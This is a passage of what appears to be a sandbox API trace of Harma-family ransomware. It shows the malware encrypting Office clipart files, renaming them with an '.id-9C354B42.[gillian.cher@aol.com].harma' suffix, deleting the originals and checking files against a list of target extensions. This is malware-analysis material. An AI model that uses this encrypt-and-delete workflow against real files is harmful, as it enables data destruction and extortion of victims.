office\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x20 [0155.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.565] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.565] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.566] GetLastError () returned 0x0 [0155.566] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x79cc, lpOverlapped=0x0) returned 1 [0156.477] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x79d0, lpOverlapped=0x0) returned 1 [0156.478] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.478] WriteFile (in: hFile=0x378, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.478] SetEndOfFile (hFile=0x378) returned 1 [0156.478] CloseHandle (hObject=0x378) returned 1 [0156.478] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.478] SetEndOfFile (hFile=0x364) returned 1 [0156.481] CloseHandle (hObject=0x364) returned 1 [0156.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0156.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0156.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0156.751] lstrlenW (lpString=".doc") returned 4 [0156.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.752] lstrlenW (lpString=".docx") returned 5 [0156.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.752] lstrlenW (lpString=".pdf") returned 4 [0156.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.752] lstrlenW (lpString=".xls") returned 4 [0156.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.752] lstrlenW (lpString=".xlsx") returned 5 [0156.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.752] lstrlenW (lpString=".ppt") returned 4 [0156.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0156.752] lstrlenW (lpString=".zip") returned 4 [0156.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.752] lstrlenW (lpString=".rar") returned 4 [0156.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.752] lstrlenW (lpString=".bz2") returned 4 [0156.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.752] lstrlenW (lpString=".7z") returned 3 [0156.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0156.752] lstrlenW (lpString=".dbf") returned 4 [0156.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0156.752] lstrlenW (lpString=".1cd") returned 4 [0156.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0156.752] lstrlenW (lpString=".jpg") returned 4 [0156.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0156.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0156.752] lstrlenW (lpString=".doc") returned 4 [0156.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.753] lstrlenW (lpString=".docx") returned 5 [0156.753] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.753] lstrlenW (lpString=".pdf") returned 4 [0156.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.753] lstrlenW (lpString=".xls") returned 4 [0156.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.753] lstrlenW (lpString=".xlsx") returned 5 [0156.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.753] lstrlenW (lpString=".ppt") returned 4 [0156.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0156.753] lstrlenW (lpString=".zip") returned 4 [0156.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.753] lstrlenW (lpString=".rar") returned 4 [0156.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.753] lstrlenW (lpString=".bz2") returned 4 [0156.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.753] lstrlenW (lpString=".7z") returned 3 [0156.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0156.753] lstrlenW (lpString=".dbf") returned 4 [0156.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0156.753] lstrlenW (lpString=".1cd") returned 4 [0156.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0156.753] lstrlenW (lpString=".jpg") returned 4 [0156.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.754] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.754] lstrlenW (lpString="FD02075_.WMF") returned 12 [0156.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0156.754] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=4396) returned 1 [0156.754] CloseHandle (hObject=0x388) returned 1 [0156.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x20 [0156.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0156.755] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.755] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0156.755] GetLastError () returned 0x0 [0156.755] ReadFile (in: hFile=0x388, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x112c, lpOverlapped=0x0) returned 1 [0156.831] WriteFile (in: hFile=0x368, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1130, lpOverlapped=0x0) returned 1 [0156.832] ReadFile (in: hFile=0x388, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.832] WriteFile (in: hFile=0x368, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.832] SetEndOfFile (hFile=0x368) returned 1 [0156.832] CloseHandle (hObject=0x368) returned 1 [0156.832] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.833] SetEndOfFile (hFile=0x388) returned 1 [0156.835] CloseHandle (hObject=0x388) returned 1 [0156.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0156.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0156.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0156.836] lstrlenW (lpString=".doc") returned 4 [0156.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString=".docx") returned 5 [0156.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.836] lstrlenW (lpString=".pdf") returned 4 [0156.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString=".xls") returned 4 [0156.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.836] lstrlenW (lpString=".xlsx") returned 5 [0156.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.836] lstrlenW (lpString=".ppt") returned 4 [0156.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0156.836] lstrlenW (lpString=".zip") returned 4 [0156.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.836] lstrlenW (lpString=".rar") returned 4 [0156.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString=".bz2") returned 4 [0156.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString=".7z") returned 3 [0156.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0156.836] lstrlenW (lpString=".dbf") returned 4 [0156.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0156.836] lstrlenW (lpString=".1cd") returned 4 [0156.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0156.836] lstrlenW (lpString=".jpg") returned 4 [0156.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0156.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0156.837] lstrlenW (lpString=".doc") returned 4 [0156.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.837] lstrlenW (lpString=".docx") returned 5 [0156.837] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.837] lstrlenW (lpString=".pdf") returned 4 [0156.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.837] lstrlenW (lpString=".xls") returned 4 [0156.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.837] lstrlenW (lpString=".xlsx") returned 5 [0156.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.837] lstrlenW (lpString=".ppt") returned 4 [0156.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0156.837] lstrlenW (lpString=".zip") returned 4 [0156.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.837] lstrlenW (lpString=".rar") returned 4 [0156.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.837] lstrlenW (lpString=".bz2") returned 4 [0156.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.837] lstrlenW (lpString=".7z") returned 3 [0156.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0156.837] lstrlenW (lpString=".dbf") returned 4 [0156.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0156.837] lstrlenW (lpString=".1cd") returned 4 [0156.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0156.837] lstrlenW (lpString=".jpg") returned 4 [0156.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.838] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.838] lstrlenW (lpString="FD02153_.WMF") returned 12 [0156.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0156.838] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=5392) returned 1 [0156.838] CloseHandle (hObject=0x388) returned 1 [0156.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x20 [0156.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0156.839] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.839] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0156.839] GetLastError () returned 0x0 [0156.840] ReadFile (in: hFile=0x388, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1510, lpOverlapped=0x0) returned 1 [0156.861] WriteFile (in: hFile=0x368, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1520, lpOverlapped=0x0) returned 1 [0156.862] ReadFile (in: hFile=0x388, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.862] WriteFile (in: hFile=0x368, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.862] SetEndOfFile (hFile=0x368) returned 1 [0156.862] CloseHandle (hObject=0x368) returned 1 [0156.862] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.862] SetEndOfFile (hFile=0x388) returned 1 [0156.864] CloseHandle (hObject=0x388) returned 1 [0156.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0156.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0156.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0156.865] lstrlenW (lpString=".doc") returned 4 [0156.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.865] lstrlenW (lpString=".docx") returned 5 [0156.865] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.865] lstrlenW (lpString=".pdf") returned 4 [0156.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.865] lstrlenW (lpString=".xls") returned 4 [0156.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.865] lstrlenW (lpString=".xlsx") returned 5 [0156.865] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.865] lstrlenW (lpString=".ppt") returned 4 [0156.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0156.866] lstrlenW (lpString=".zip") returned 4 [0156.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.866] lstrlenW (lpString=".rar") returned 4 [0156.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.866] lstrlenW (lpString=".bz2") returned 4 [0156.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.866] lstrlenW (lpString=".7z") returned 3 [0156.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0156.866] lstrlenW (lpString=".dbf") returned 4 [0156.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0156.866] lstrlenW (lpString=".1cd") returned 4 [0156.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0156.866] lstrlenW (lpString=".jpg") returned 4 [0156.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0156.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0156.866] lstrlenW (lpString=".doc") returned 4 [0156.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.866] lstrlenW (lpString=".docx") returned 5 [0156.866] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.866] lstrlenW (lpString=".pdf") returned 4 [0156.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.866] lstrlenW (lpString=".xls") returned 4 [0156.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.866] lstrlenW (lpString=".xlsx") returned 5 [0156.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.867] lstrlenW (lpString=".ppt") returned 4 [0156.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0156.867] lstrlenW (lpString=".zip") returned 4 [0156.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.867] lstrlenW (lpString=".rar") returned 4 [0156.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.867] lstrlenW (lpString=".bz2") returned 4 [0156.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.867] lstrlenW (lpString=".7z") returned 3 [0156.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0156.867] lstrlenW (lpString=".dbf") returned 4 [0156.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0156.867] lstrlenW (lpString=".1cd") returned 4 [0156.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0156.867] lstrlenW (lpString=".jpg") returned 4 [0156.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.867] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.867] lstrlenW (lpString="FLAP.WMF") returned 8 [0156.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0156.887] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2070) returned 1 [0156.887] CloseHandle (hObject=0x340) returned 1 [0156.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 0x20 [0156.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.894] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, 